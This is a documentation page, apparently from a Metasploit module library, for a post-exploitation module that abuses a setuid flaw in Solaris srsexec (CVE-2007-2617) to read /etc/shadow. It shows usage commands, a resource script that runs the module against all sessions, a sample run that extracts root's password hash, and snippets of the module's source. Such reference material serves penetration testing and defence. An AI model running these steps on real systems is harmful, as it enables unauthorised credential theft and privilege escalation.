Solaris srsexec Arbitrary File Reader - Metasploit
This page contains detailed information about how to use the post/solaris/escalate/srsexec_readline metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Solaris srsexec Arbitrary File Reader
Module: post/solaris/escalate/srsexec_readline
Source code: modules/post/solaris/escalate/srsexec_readline.rb
Disclosure date: 2007-05-07
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): Solaris
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2007-2617
This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5. When srsexec is executed in debug (-d) verbose (-v) mode, the first line of an arbitrary file can be read due to the suid bit set. The most widely accepted exploitation vector is reading /etc/shadow, which will reveal root's hash for cracking.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/solaris/escalate/srsexec_readline
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/solaris/escalate/srsexec_readline
msf post(srsexec_readline) > show options
... show and set options ...
msf post(srsexec_readline) > set SESSION session-id
msf post(srsexec_readline) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/solaris/escalate/srsexec_readline")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
The vulnerable binary (srsexec
) is included in the package Sun Remote Services
Net Connect Software Proxy Core (SUNWsrspx). The vulnerable versions are
3.2.3 and 3.2.4, for Solaris 10. This package was included on the extras/companion CD which
doesn't seem to available anymore. srsexec
's vulnerability is that it runs with the suid bit set,
and in debug verbose mode if given a file as input, the first line of that file will be echoed back.
Common exploitation is to read /etc/shadow
, to get root's password hash, however any file can be read.
In lieu of this, a mock application was created in python and is available
here.
Follow the instructions in the python script to install, argparse
also needs to be sent
to the Solaris box since pypi.org doesn't accept ssl2/3 which are the only versions in Solaris 10u9.
The output from srsexec
is slightly odd. The first line of the file will be
after binaries file line:
and truncated at 20 characters. If the output is longer than 20 characters,
then the next line will start with the last 2 characters from the previous line, followed by the next
18 characters, and so on.
Verification Steps
- Install the application
- Start msfconsole
- Get a user level session
- Do:
use solaris/escalate/srsexec_readline
- Do:
set session [#]
- Do:
run
- You should be able to read the first line of a file.
- If
/etc/shadow
is selected, checkcreds
.
Options
File
The file that should have the first line read. Default is /etc/shadow
and root's hash will be databased.
Scenarios
Solaris 10 u9 with mock binary and python 2.4
msf5 post(solaris/escalate/srsexec_readline) > run
[+] 3.2.4 is vulnerable
[+] Raw Command Output: verify_binary(vFYZf)
srsexec: binary_name: vFYZf
srsexec: name_buf: vFYZf_______________
binaries file line: root:MW7h.vpI1Kq1g:1
binaries file line: :17599::::::
smmsp:NP
Security verification failed for binary: vFYZf
see SYSLOG(/var/adm/messages) for errors
[+] First line of /etc/shadow: root:MW7h.vpI1Kq1g:17599::::::
[+] Adding root's hash to the credential database.
[*] Post module execution completed
msf5 post(solaris/escalate/srsexec_readline) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
1.1.1.1 root MW7h.vpI1Kq1g Nonreplayable hash
Go back to menu.
Msfconsole Usage
Here is how the solaris/escalate/srsexec_readline post exploitation module looks in the msfconsole:
msf6 > use post/solaris/escalate/srsexec_readline
msf6 post(solaris/escalate/srsexec_readline) > show info
Name: Solaris srsexec Arbitrary File Reader
Module: post/solaris/escalate/srsexec_readline
Platform: Solaris
Arch:
Rank: Normal
Disclosed: 2007-05-07
Provided by:
h00die
iDefense
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes File to read the first line of
SESSION yes The session to run this module on.
Description:
This module exploits a vulnerability in NetCommander 3.2.3 and
3.2.5. When srsexec is executed in debug (-d) verbose (-v) mode, the
first line of an arbitrary file can be read due to the suid bit set.
The most widely accepted exploitation vector is reading /etc/shadow,
which will reveal root's hash for cracking.
References:
https://nvd.nist.gov/vuln/detail/CVE-2007-2617
https://download.oracle.com/sunalerts/1000443.1.html
https://www.securityfocus.com/archive/1/468235
https://www.exploit-db.com/exploits/30021
http://www.securityfocus.com/bid/23915
Module Options
This is a complete list of options available in the solaris/escalate/srsexec_readline post exploitation module:
msf6 post(solaris/escalate/srsexec_readline) > show options
Module options (post/solaris/escalate/srsexec_readline):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes File to read the first line of
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the solaris/escalate/srsexec_readline post exploitation module:
msf6 post(solaris/escalate/srsexec_readline) > show advanced
Module advanced options (post/solaris/escalate/srsexec_readline):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the solaris/escalate/srsexec_readline module can do:
msf6 post(solaris/escalate/srsexec_readline) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the solaris/escalate/srsexec_readline post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(solaris/escalate/srsexec_readline) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
41: '/opt/SUNWsrspx/bin/srsexec'
42: end
43:
44: def check
45: if is_root?
46: fail_with Failure::BadConfig, 'Session already has root privileges'
47: end
48:
49: # This ls is based on the guidance in the sun alerts article
50: unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
51: unin =~ /UninstallNetConnect\.([\d\.]{11})\.sh/
NetConnect uninstall not found, either not installed or too new
Here is a relevant code snippet related to the "NetConnect uninstall not found, either not installed or too new" error message:
48:
49: # This ls is based on the guidance in the sun alerts article
50: unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
51: unin =~ /UninstallNetConnect\.([\d\.]{11})\.sh/
52: unless $1
53: print_error 'NetConnect uninstall not found, either not installed or too new'
54: return false
55: end
56:
57: version = Rex::Version.new($1.split(".").map(&:to_i).join('.'))
58: unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))
<VERSION> is not vulnerable
Here is a relevant code snippet related to the "<VERSION> is not vulnerable" error message:
54: return false
55: end
56:
57: version = Rex::Version.new($1.split(".").map(&:to_i).join('.'))
58: unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))
59: print_error "#{version} is not vulnerable"
60: return false
61: end
62: print_good "#{version} is vulnerable"
63:
64: unless setuid? suid_bin_path
<SUID_BIN_PATH> is not setuid, it must have been manually patched
Here is a relevant code snippet related to the "<SUID_BIN_PATH> is not setuid, it must have been manually patched" error message:
60: return false
61: end
62: print_good "#{version} is vulnerable"
63:
64: unless setuid? suid_bin_path
65: vprint_error "#{suid_bin_path} is not setuid, it must have been manually patched"
66: return false
67: end
68:
69: true
70: end
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
69: true
70: end
71:
72: def run
73: unless check
74: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
75: end
76:
77: flag = Rex::Text.rand_text_alpha 5
78: output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
79: vprint_good("Raw Command Output: #{output}")
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14226 Merged Pull Request: convert myworkspace.id to myworkspace_id for no db compat
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10628 Merged Pull Request: srsexec Solaris Post module
References
- CVE-2007-2617
- https://download.oracle.com/sunalerts/1000443.1.html
- https://www.securityfocus.com/archive/1/468235
- EDB-30021
- BID-23915
See Also
Check also the following modules related to this module:
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/dos/solaris/lpd/cascade_delete
- exploit/solaris/dtspcd/heap_noir
- exploit/solaris/local/extremeparr_dtappgather_priv_esc
- exploit/solaris/local/libnspr_nspr_log_file_priv_esc
- exploit/solaris/local/rsh_stack_clash_priv_esc
- exploit/solaris/local/xscreensaver_log_priv_esc
- exploit/solaris/lpd/sendmail_exec
- exploit/solaris/samba/lsa_transnames_heap
- exploit/solaris/samba/trans2open
- exploit/solaris/ssh/pam_username_bof
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/sunrpc/ypupdated_exec
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- payload/solaris/sparc/shell_bind_tcp
- payload/solaris/sparc/shell_find_port
- payload/solaris/sparc/shell_reverse_tcp
- payload/solaris/x86/shell_bind_tcp
- payload/solaris/x86/shell_find_port
- payload/solaris/x86/shell_reverse_tcp
- post/solaris/escalate/pfexec
- post/solaris/gather/checkvm
- post/solaris/gather/enum_packages
- post/solaris/gather/enum_services
- post/solaris/gather/hashdump
Authors
- h00die
- iDefense
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.